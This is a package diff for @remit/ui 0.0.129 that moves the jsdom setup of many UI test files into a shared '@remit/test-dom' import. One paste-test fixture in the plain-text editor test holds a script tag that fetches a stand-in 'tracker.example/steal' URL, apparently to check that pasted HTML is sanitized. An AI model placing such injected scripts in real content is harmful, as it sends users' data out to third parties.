@remit/ui 0.0.128 → 0.0.129

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. package/package.json +2 -3
  2. package/src/components/brief-sections.keyboard.test.ts +8 -36
  3. package/src/components/compose-body.language.test.ts +8 -58
  4. package/src/components/compose-body.spellcheck.test.ts +8 -55
  5. package/src/components/event-editor.render.test.ts +2 -2
  6. package/src/components/filter-rule-editor.create.test.ts +10 -59
  7. package/src/components/folder-tree-picker.create.test.ts +18 -63
  8. package/src/components/message-list-pane.brief-filter.test.ts +4 -31
  9. package/src/components/nav-link-surface.interaction.test.ts +7 -34
  10. package/src/components/nav-sidebar.keyboard.test.ts +11 -40
  11. package/src/components/password-input.render.test.ts +8 -50
  12. package/src/components/plain-text-editor.mount.test.ts +11 -66
  13. package/src/components/rich-text-editor.mount.test.ts +9 -63
  14. package/src/components/rich-text-formatting.test.ts +27 -45
  15. package/src/components/rich-text-image-node.test.ts +60 -83
  16. package/src/components/rich-text-markdown.test.ts +3 -25
  17. package/src/components/rich-text-paste.test.ts +28 -42
  18. package/src/components/rich-text-spellcheck-menu.test.ts +28 -94
  19. package/src/components/rich-text-spellcheck.test.ts +11 -65
  20. package/src/components/swipeable-row.gesture.test.ts +8 -42
  21. package/src/components/touch-list.follows-sections.test.ts +4 -27
  22. package/src/lib/adopted-html.test.ts +3 -22
  23. package/src/lib/compose-language.test.ts +2 -7
  24. package/src/lib/roving-focus.test.ts +16 -43
  25. package/src/lib/use-list-cursor.test.ts +3 -27
  26. package/src/lib/use-list-keyboard.test.ts +6 -30
  27. package/src/lib/use-long-press.test.ts +12 -43
  28. package/src/lib/use-rendered-row-ids.test.ts +3 -24
  29. package/src/lib/use-selection.hook.test.ts +3 -26
  30. package/src/lib/use-suggest-list.test.ts +5 -29
  31. package/src/lib/use-triage-keyboard.test.ts +6 -29
@@ -4,45 +4,18 @@
4
4
  * jsdom does not implement it for anchors; `detail-surface.stories.tsx` covers
5
5
  * that in Chromium.
6
6
  */
7
+ import "@remit/test-dom";
7
8
  import assert from "node:assert/strict";
8
- import { after, afterEach, before, beforeEach, describe, it } from "node:test";
9
- import type { JSDOM } from "jsdom";
9
+ import { afterEach, beforeEach, describe, it } from "node:test";
10
10
  import { act, createElement, type MouseEvent } from "react";
11
11
  import { createRoot, type Root } from "react-dom/client";
12
12
  import { NavLinkSurface } from "./nav-link-surface.js";
13
13
 
14
- let dom: JSDOM;
15
14
  let container: HTMLElement;
16
15
  let root: Root;
17
16
 
18
- before(async () => {
19
- const { JSDOM: JSDOMCtor } = await import("jsdom");
20
- dom = new JSDOMCtor(
21
- "<!doctype html><html><body><div id=root></div></body></html>",
22
- { url: "http://localhost/", pretendToBeVisual: true },
23
- );
24
- globalThis.window = dom.window as unknown as typeof globalThis.window;
25
- globalThis.document = dom.window.document;
26
- globalThis.HTMLElement = dom.window.HTMLElement;
27
- globalThis.Element = dom.window.Element;
28
- globalThis.MouseEvent = dom.window.MouseEvent;
29
- Object.defineProperty(globalThis, "navigator", {
30
- value: dom.window.navigator,
31
- configurable: true,
32
- });
33
- (
34
- globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
35
- ).IS_REACT_ACT_ENVIRONMENT = true;
36
- });
37
-
38
- after(() => {
39
- dom.window.close();
40
- });
41
-
42
17
  beforeEach(() => {
43
- container = dom.window.document.getElementById(
44
- "root",
45
- ) as unknown as HTMLElement;
18
+ container = document.getElementById("root") as unknown as HTMLElement;
46
19
  container.innerHTML = "";
47
20
  root = createRoot(container);
48
21
  });
@@ -65,7 +38,7 @@ function mount(props: Parameters<typeof NavLinkSurface>[0]) {
65
38
  function click(target: Element, init: { metaKey?: boolean } = {}) {
66
39
  act(() => {
67
40
  target.dispatchEvent(
68
- new dom.window.MouseEvent("click", {
41
+ new MouseEvent("click", {
69
42
  bubbles: true,
70
43
  cancelable: true,
71
44
  ...init,
@@ -78,13 +51,13 @@ describe("NavLinkSurface interaction", () => {
78
51
  it("puts a link with an href in the tab order", () => {
79
52
  const link = mount({ href: "/mail/brief" });
80
53
  link.focus();
81
- assert.equal(dom.window.document.activeElement, link);
54
+ assert.equal(document.activeElement, link);
82
55
  });
83
56
 
84
57
  it("keeps a link with no href out of the tab order", () => {
85
58
  const link = mount({});
86
59
  link.focus();
87
- assert.notEqual(dom.window.document.activeElement, link);
60
+ assert.notEqual(document.activeElement, link);
88
61
  });
89
62
 
90
63
  it("passes a modified click through with its modifier intact", () => {
@@ -105,7 +78,7 @@ describe("NavLinkSurface interaction", () => {
105
78
 
106
79
  it("adds no click handling of its own when the caller passes none", () => {
107
80
  const link = mount({ href: "/mail/brief" });
108
- const event = new dom.window.MouseEvent("click", {
81
+ const event = new MouseEvent("click", {
109
82
  bubbles: true,
110
83
  cancelable: true,
111
84
  });
@@ -2,9 +2,9 @@
2
2
  * NavSidebar arrow-key traversal (#143) — mounted against jsdom rather than
3
3
  * `renderToString`, since focus and keydown need a real `document`.
4
4
  */
5
+ import "@remit/test-dom";
5
6
  import assert from "node:assert/strict";
6
- import { after, afterEach, before, beforeEach, describe, it } from "node:test";
7
- import type { JSDOM } from "jsdom";
7
+ import { afterEach, beforeEach, describe, it } from "node:test";
8
8
  import { act, createElement } from "react";
9
9
  import { createRoot, type Root } from "react-dom/client";
10
10
  import type { NavAccount } from "./app-shell-types.js";
@@ -22,38 +22,11 @@ const accounts: NavAccount[] = [
22
22
  },
23
23
  ];
24
24
 
25
- let dom: JSDOM;
26
25
  let container: HTMLElement;
27
26
  let root: Root;
28
27
 
29
- before(async () => {
30
- const { JSDOM: JSDOMCtor } = await import("jsdom");
31
- dom = new JSDOMCtor(
32
- "<!doctype html><html><body><div id=root></div></body></html>",
33
- { url: "http://localhost/", pretendToBeVisual: true },
34
- );
35
- globalThis.window = dom.window as unknown as typeof globalThis.window;
36
- globalThis.document = dom.window.document;
37
- globalThis.HTMLElement = dom.window.HTMLElement;
38
- globalThis.Element = dom.window.Element;
39
- globalThis.KeyboardEvent = dom.window.KeyboardEvent;
40
- Object.defineProperty(globalThis, "navigator", {
41
- value: dom.window.navigator,
42
- configurable: true,
43
- });
44
- (
45
- globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
46
- ).IS_REACT_ACT_ENVIRONMENT = true;
47
- });
48
-
49
- after(() => {
50
- dom.window.close();
51
- });
52
-
53
28
  beforeEach(() => {
54
- container = dom.window.document.getElementById(
55
- "root",
56
- ) as unknown as HTMLElement;
29
+ container = document.getElementById("root") as unknown as HTMLElement;
57
30
  container.innerHTML = "";
58
31
  root = createRoot(container);
59
32
  });
@@ -65,9 +38,7 @@ afterEach(() => {
65
38
  });
66
39
 
67
40
  function pressKey(target: Element, key: string) {
68
- target.dispatchEvent(
69
- new dom.window.KeyboardEvent("keydown", { key, bubbles: true }),
70
- );
41
+ target.dispatchEvent(new KeyboardEvent("keydown", { key, bubbles: true }));
71
42
  }
72
43
 
73
44
  function navItems(): HTMLElement[] {
@@ -103,13 +74,13 @@ describe("NavSidebar arrow-key traversal", () => {
103
74
  const items = navItems();
104
75
  act(() => items[0]?.focus());
105
76
  act(() => pressKey(items[0] as Element, "ArrowDown"));
106
- assert.equal(dom.window.document.activeElement, items[1]);
77
+ assert.equal(document.activeElement, items[1]);
107
78
 
108
79
  act(() => pressKey(items[1] as Element, "ArrowDown"));
109
- assert.equal(dom.window.document.activeElement, items[2]);
80
+ assert.equal(document.activeElement, items[2]);
110
81
 
111
82
  act(() => pressKey(items[2] as Element, "ArrowUp"));
112
- assert.equal(dom.window.document.activeElement, items[1]);
83
+ assert.equal(document.activeElement, items[1]);
113
84
  });
114
85
 
115
86
  it("End reaches the last mailbox and Home returns to the top", () => {
@@ -118,10 +89,10 @@ describe("NavSidebar arrow-key traversal", () => {
118
89
  act(() => items[0]?.focus());
119
90
  act(() => pressKey(items[0] as Element, "End"));
120
91
  const last = items[items.length - 1];
121
- assert.equal(dom.window.document.activeElement, last);
92
+ assert.equal(document.activeElement, last);
122
93
 
123
94
  act(() => pressKey(last as Element, "Home"));
124
- assert.equal(dom.window.document.activeElement, items[0]);
95
+ assert.equal(document.activeElement, items[0]);
125
96
  });
126
97
 
127
98
  it("traverses the drawer variant too", () => {
@@ -129,7 +100,7 @@ describe("NavSidebar arrow-key traversal", () => {
129
100
  const items = navItems();
130
101
  act(() => items[0]?.focus());
131
102
  act(() => pressKey(items[0] as Element, "ArrowDown"));
132
- assert.equal(dom.window.document.activeElement, items[1]);
103
+ assert.equal(document.activeElement, items[1]);
133
104
  });
134
105
 
135
106
  it("leaves Left/Right to the browser", () => {
@@ -137,6 +108,6 @@ describe("NavSidebar arrow-key traversal", () => {
137
108
  const items = navItems();
138
109
  act(() => items[0]?.focus());
139
110
  act(() => pressKey(items[0] as Element, "ArrowRight"));
140
- assert.equal(dom.window.document.activeElement, items[0]);
111
+ assert.equal(document.activeElement, items[0]);
141
112
  });
142
113
  });
@@ -1,62 +1,20 @@
1
1
  /**
2
2
  * The reveal toggle: it starts hidden, flips only the input's `type`, and
3
3
  * renames itself for the state it will produce next. Mounted against jsdom
4
- * since the toggle is internal state driven by a real click. React is imported
5
- * after the jsdom globals are installed so the controlled-input value tracker
6
- * binds to jsdom's prototypes.
4
+ * since the toggle is internal state driven by a real click.
7
5
  */
6
+ import "@remit/test-dom";
8
7
  import assert from "node:assert/strict";
9
- import { after, afterEach, before, beforeEach, describe, it } from "node:test";
10
- import type { JSDOM } from "jsdom";
11
- import type {
12
- act as reactAct,
13
- createElement as reactCreateElement,
14
- } from "react";
15
- import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
16
- import type { PasswordInput as PasswordInputType } from "./password-input.js";
8
+ import { afterEach, beforeEach, describe, it } from "node:test";
9
+ import { act, createElement } from "react";
10
+ import { createRoot, type Root } from "react-dom/client";
11
+ import { PasswordInput } from "./password-input.js";
17
12
 
18
- let dom: JSDOM;
19
13
  let container: HTMLElement;
20
14
  let root: Root;
21
- let act: typeof reactAct;
22
- let createElement: typeof reactCreateElement;
23
- let createRoot: typeof reactCreateRoot;
24
- let PasswordInput: typeof PasswordInputType;
25
-
26
- before(async () => {
27
- const { JSDOM: JSDOMCtor } = await import("jsdom");
28
- dom = new JSDOMCtor(
29
- "<!doctype html><html><body><div id=root></div></body></html>",
30
- { url: "http://localhost/", pretendToBeVisual: true },
31
- );
32
- globalThis.window = dom.window as unknown as typeof globalThis.window;
33
- globalThis.document = dom.window.document;
34
- globalThis.HTMLElement = dom.window.HTMLElement;
35
- globalThis.Element = dom.window.Element;
36
- globalThis.Event = dom.window.Event;
37
- Object.defineProperty(globalThis, "navigator", {
38
- value: dom.window.navigator,
39
- configurable: true,
40
- });
41
- (
42
- globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
43
- ).IS_REACT_ACT_ENVIRONMENT = true;
44
-
45
- const react = await import("react");
46
- act = react.act;
47
- createElement = react.createElement;
48
- ({ createRoot } = await import("react-dom/client"));
49
- ({ PasswordInput } = await import("./password-input.js"));
50
- });
51
-
52
- after(() => {
53
- dom.window.close();
54
- });
55
15
 
56
16
  beforeEach(() => {
57
- container = dom.window.document.getElementById(
58
- "root",
59
- ) as unknown as HTMLElement;
17
+ container = document.getElementById("root") as unknown as HTMLElement;
60
18
  container.innerHTML = "";
61
19
  root = createRoot(container);
62
20
  });
@@ -143,7 +101,7 @@ describe("PasswordInput", () => {
143
101
  act(() => {
144
102
  root.render(createElement(PasswordInput, { id: "pw" }));
145
103
  });
146
- assert.notEqual(dom.window.document.activeElement, toggle());
104
+ assert.notEqual(document.activeElement, toggle());
147
105
  assert.equal(toggle().hasAttribute("autofocus"), false);
148
106
  });
149
107
  });
@@ -2,20 +2,14 @@
2
2
  * The plain surface mounted for real: what a paste puts in it, what it does
3
3
  * when a paste has nothing to put there, and the toolbar it carries instead of
4
4
  * the formatting buttons.
5
- *
6
- * React is imported after the jsdom globals are installed so its DOM bindings
7
- * bind to jsdom's prototypes.
8
5
  */
6
+ import "@remit/test-dom";
9
7
  import assert from "node:assert/strict";
10
- import { after, afterEach, before, beforeEach, describe, it } from "node:test";
11
- import type { JSDOM } from "jsdom";
12
- import type {
13
- act as reactAct,
14
- createElement as reactCreateElement,
15
- } from "react";
16
- import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
17
- import type { ComposeModeToggle as ComposeModeToggleType } from "./compose-mode-toggle.js";
18
- import type { PlainTextEditor as PlainTextEditorType } from "./plain-text-editor.js";
8
+ import { afterEach, beforeEach, describe, it } from "node:test";
9
+ import { act, createElement } from "react";
10
+ import { createRoot, type Root } from "react-dom/client";
11
+ import { ComposeModeToggle } from "./compose-mode-toggle.js";
12
+ import { PlainTextEditor } from "./plain-text-editor.js";
19
13
 
20
14
  const CLIPBOARD_HTML = [
21
15
  '<meta charset="utf-8">',
@@ -25,14 +19,8 @@ const CLIPBOARD_HTML = [
25
19
  '<script>fetch("https://tracker.example/steal")</script>',
26
20
  ].join("");
27
21
 
28
- let dom: JSDOM;
29
22
  let container: HTMLElement;
30
23
  let root: Root;
31
- let act: typeof reactAct;
32
- let createElement: typeof reactCreateElement;
33
- let createRoot: typeof reactCreateRoot;
34
- let PlainTextEditor: typeof PlainTextEditorType;
35
- let ComposeModeToggle: typeof ComposeModeToggleType;
36
24
 
37
25
  const surface = (): HTMLTextAreaElement => {
38
26
  const textarea = container.querySelector<HTMLTextAreaElement>(
@@ -46,7 +34,7 @@ const surface = (): HTMLTextAreaElement => {
46
34
  // reads off the event: a `getData` over the flavours the copy carried.
47
35
  const paste = async (flavours: { html?: string; text?: string }) => {
48
36
  const textarea = surface();
49
- const event = new dom.window.Event("paste", {
37
+ const event = new Event("paste", {
50
38
  bubbles: true,
51
39
  cancelable: true,
52
40
  });
@@ -61,48 +49,9 @@ const paste = async (flavours: { html?: string; text?: string }) => {
61
49
  });
62
50
  };
63
51
 
64
- before(async () => {
65
- const { JSDOM: JSDOMCtor } = await import("jsdom");
66
- dom = new JSDOMCtor(
67
- "<!doctype html><html><body><div id=root></div></body></html>",
68
- { url: "http://localhost/", pretendToBeVisual: true },
69
- );
70
- globalThis.window = dom.window as unknown as typeof globalThis.window;
71
- globalThis.document = dom.window.document;
72
- globalThis.HTMLElement = dom.window.HTMLElement;
73
- globalThis.Element = dom.window.Element;
74
- globalThis.Node = dom.window.Node;
75
- globalThis.Event = dom.window.Event;
76
- globalThis.MouseEvent = dom.window.MouseEvent;
77
- globalThis.DOMParser = dom.window.DOMParser;
78
- globalThis.MutationObserver = dom.window.MutationObserver;
79
- globalThis.Range = dom.window.Range;
80
- globalThis.AbortController = dom.window.AbortController;
81
- globalThis.AbortSignal = dom.window.AbortSignal;
82
- globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
83
- globalThis.requestAnimationFrame = dom.window.requestAnimationFrame.bind(
84
- dom.window,
85
- );
86
- globalThis.cancelAnimationFrame = dom.window.cancelAnimationFrame.bind(
87
- dom.window,
88
- );
89
- Object.defineProperty(globalThis, "navigator", {
90
- value: dom.window.navigator,
91
- configurable: true,
92
- });
93
- (
94
- globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
95
- ).IS_REACT_ACT_ENVIRONMENT = true;
96
-
97
- ({ act, createElement } = await import("react"));
98
- ({ createRoot } = await import("react-dom/client"));
99
- ({ PlainTextEditor } = await import("./plain-text-editor.js"));
100
- ({ ComposeModeToggle } = await import("./compose-mode-toggle.js"));
101
- });
102
-
103
52
  beforeEach(() => {
104
- container = dom.window.document.createElement("div");
105
- dom.window.document.body.append(container);
53
+ container = document.createElement("div");
54
+ document.body.append(container);
106
55
  });
107
56
 
108
57
  afterEach(async () => {
@@ -112,10 +61,6 @@ afterEach(async () => {
112
61
  container.remove();
113
62
  });
114
63
 
115
- after(() => {
116
- dom.window.close();
117
- });
118
-
119
64
  /** A controlled surface: the value it shows is the one it last reported. */
120
65
  const mount = async (
121
66
  initial = "",
@@ -198,7 +143,7 @@ describe("PlainTextEditor", () => {
198
143
  });
199
144
 
200
145
  const textarea = surface();
201
- assert.equal(dom.window.document.activeElement, textarea);
146
+ assert.equal(document.activeElement, textarea);
202
147
  assert.equal(textarea.selectionStart, textarea.value.length);
203
148
  });
204
149
 
@@ -212,7 +157,7 @@ describe("PlainTextEditor", () => {
212
157
 
213
158
  await act(async () => {
214
159
  surface().dispatchEvent(
215
- new dom.window.KeyboardEvent("keydown", {
160
+ new KeyboardEvent("keydown", {
216
161
  bubbles: true,
217
162
  cancelable: true,
218
163
  key: "Enter",
@@ -1,18 +1,13 @@
1
1
  /**
2
2
  * The editor mounted for real: a document it opens on renders as structure, and
3
- * the value it reports back is the HTML that would be sent. React is imported
4
- * after the jsdom globals are installed so its DOM bindings bind to jsdom's
5
- * prototypes.
3
+ * the value it reports back is the HTML that would be sent.
6
4
  */
5
+ import "@remit/test-dom";
7
6
  import assert from "node:assert/strict";
8
- import { after, afterEach, before, beforeEach, describe, it } from "node:test";
9
- import type { JSDOM } from "jsdom";
10
- import type {
11
- act as reactAct,
12
- createElement as reactCreateElement,
13
- } from "react";
14
- import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
15
- import type { RichTextEditor as RichTextEditorType } from "./rich-text-editor.js";
7
+ import { afterEach, beforeEach, describe, it } from "node:test";
8
+ import { act, createElement } from "react";
9
+ import { createRoot, type Root } from "react-dom/client";
10
+ import { RichTextEditor } from "./rich-text-editor.js";
16
11
  import type { RichTextValue } from "./rich-text-value.js";
17
12
 
18
13
  const DOCUMENT = [
@@ -21,13 +16,8 @@ const DOCUMENT = [
21
16
  "<table><tbody><tr><td>EMEA</td><td>412</td></tr></tbody></table>",
22
17
  ].join("");
23
18
 
24
- let dom: JSDOM;
25
19
  let container: HTMLElement;
26
20
  let root: Root;
27
- let act: typeof reactAct;
28
- let createElement: typeof reactCreateElement;
29
- let createRoot: typeof reactCreateRoot;
30
- let RichTextEditor: typeof RichTextEditorType;
31
21
 
32
22
  /** The toolbar acts on mousedown, so a click alone never reaches it. */
33
23
  const press = (scope: HTMLElement, label: string): void => {
@@ -36,56 +26,16 @@ const press = (scope: HTMLElement, label: string): void => {
36
26
  );
37
27
  if (!button) throw new Error(`no toolbar button labelled ${label}`);
38
28
  button.dispatchEvent(
39
- new dom.window.MouseEvent("mousedown", { bubbles: true, cancelable: true }),
29
+ new MouseEvent("mousedown", { bubbles: true, cancelable: true }),
40
30
  );
41
31
  };
42
32
 
43
- before(async () => {
44
- const { JSDOM: JSDOMCtor } = await import("jsdom");
45
- dom = new JSDOMCtor(
46
- "<!doctype html><html><body><div id=root></div></body></html>",
47
- { url: "http://localhost/", pretendToBeVisual: true },
48
- );
49
- globalThis.window = dom.window as unknown as typeof globalThis.window;
50
- globalThis.document = dom.window.document;
51
- globalThis.HTMLElement = dom.window.HTMLElement;
52
- globalThis.Element = dom.window.Element;
53
- globalThis.Node = dom.window.Node;
54
- globalThis.Event = dom.window.Event;
55
- globalThis.MouseEvent = dom.window.MouseEvent;
56
- globalThis.DOMParser = dom.window.DOMParser;
57
- globalThis.MutationObserver = dom.window.MutationObserver;
58
- globalThis.Range = dom.window.Range;
59
- // jsdom rejects a listener whose `signal` is not one of its own, and the
60
- // table plugin abort-signals its cell listeners.
61
- globalThis.AbortController = dom.window.AbortController;
62
- globalThis.AbortSignal = dom.window.AbortSignal;
63
- globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
64
- globalThis.requestAnimationFrame = dom.window.requestAnimationFrame.bind(
65
- dom.window,
66
- );
67
- globalThis.cancelAnimationFrame = dom.window.cancelAnimationFrame.bind(
68
- dom.window,
69
- );
70
- Object.defineProperty(globalThis, "navigator", {
71
- value: dom.window.navigator,
72
- configurable: true,
73
- });
74
- (
75
- globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
76
- ).IS_REACT_ACT_ENVIRONMENT = true;
77
-
78
- ({ act, createElement } = await import("react"));
79
- ({ createRoot } = await import("react-dom/client"));
80
- ({ RichTextEditor } = await import("./rich-text-editor.js"));
81
- });
82
-
83
33
  // A container is used once. React refuses to create a second root over one it
84
34
  // has already owned, and the editor holds a contenteditable that outlives the
85
35
  // unmount otherwise.
86
36
  beforeEach(() => {
87
- container = dom.window.document.createElement("div");
88
- dom.window.document.body.append(container);
37
+ container = document.createElement("div");
38
+ document.body.append(container);
89
39
  });
90
40
 
91
41
  afterEach(async () => {
@@ -95,10 +45,6 @@ afterEach(async () => {
95
45
  container.remove();
96
46
  });
97
47
 
98
- after(() => {
99
- dom.window.close();
100
- });
101
-
102
48
  describe("RichTextEditor", () => {
103
49
  it("renders the document it opens on and reports it back", async () => {
104
50
  const seen: RichTextValue[] = [];
@@ -8,10 +8,17 @@
8
8
  * paragraph makes the two strings differ, and the same comparison would
9
9
  * interrupt the ordinary prose it is meant to leave alone.
10
10
  */
11
+ import "@remit/test-dom";
11
12
  import assert from "node:assert/strict";
12
- import { before, describe, it } from "node:test";
13
- import type { JSDOM } from "jsdom";
14
- import type { LexicalEditor } from "lexical";
13
+ import { describe, it } from "node:test";
14
+ import {
15
+ $getRoot,
16
+ $insertNodes,
17
+ createEditor,
18
+ type LexicalEditor,
19
+ } from "lexical";
20
+ import { $adoptHtml, $documentFormatting } from "./rich-text-document.js";
21
+ import { RICH_TEXT_NODES } from "./rich-text-nodes.js";
15
22
 
16
23
  interface Row {
17
24
  what: string;
@@ -86,50 +93,25 @@ const ROWS: Row[] = [
86
93
  },
87
94
  ];
88
95
 
89
- let formattingOf: (html: string) => string[];
90
-
91
- before(async () => {
92
- const { JSDOM: JSDOMCtor } = await import("jsdom");
93
- const dom: JSDOM = new JSDOMCtor(
94
- "<!doctype html><html><body></body></html>",
95
- {
96
- url: "http://localhost/",
96
+ const formattingOf = (html: string) => {
97
+ const editor: LexicalEditor = createEditor({
98
+ namespace: "test",
99
+ nodes: [...RICH_TEXT_NODES],
100
+ onError: (error) => {
101
+ throw error;
97
102
  },
103
+ });
104
+ editor.update(
105
+ () => {
106
+ const root = $getRoot();
107
+ root.clear();
108
+ root.select();
109
+ if (html !== "") $insertNodes($adoptHtml(editor, html));
110
+ },
111
+ { discrete: true },
98
112
  );
99
- globalThis.window = dom.window as unknown as typeof globalThis.window;
100
- globalThis.document = dom.window.document;
101
- globalThis.DOMParser = dom.window.DOMParser;
102
- globalThis.HTMLElement = dom.window.HTMLElement;
103
- globalThis.Element = dom.window.Element;
104
- globalThis.Node = dom.window.Node;
105
-
106
- const { $getRoot, $insertNodes, createEditor } = await import("lexical");
107
- const { $adoptHtml, $documentFormatting } = await import(
108
- "./rich-text-document.js"
109
- );
110
- const { RICH_TEXT_NODES } = await import("./rich-text-nodes.js");
111
-
112
- formattingOf = (html: string) => {
113
- const editor: LexicalEditor = createEditor({
114
- namespace: "test",
115
- nodes: [...RICH_TEXT_NODES],
116
- onError: (error) => {
117
- throw error;
118
- },
119
- });
120
- editor.update(
121
- () => {
122
- const root = $getRoot();
123
- root.clear();
124
- root.select();
125
- if (html !== "") $insertNodes($adoptHtml(editor, html));
126
- },
127
- { discrete: true },
128
- );
129
- return editor.read(() => $documentFormatting());
130
- };
131
- });
132
-
113
+ return editor.read(() => $documentFormatting());
114
+ };
133
115
  describe("what switching to plain text warns about", () => {
134
116
  for (const row of ROWS) {
135
117
  it(`${row.warns ? "warns about" : "says nothing about"} ${row.what}`, () => {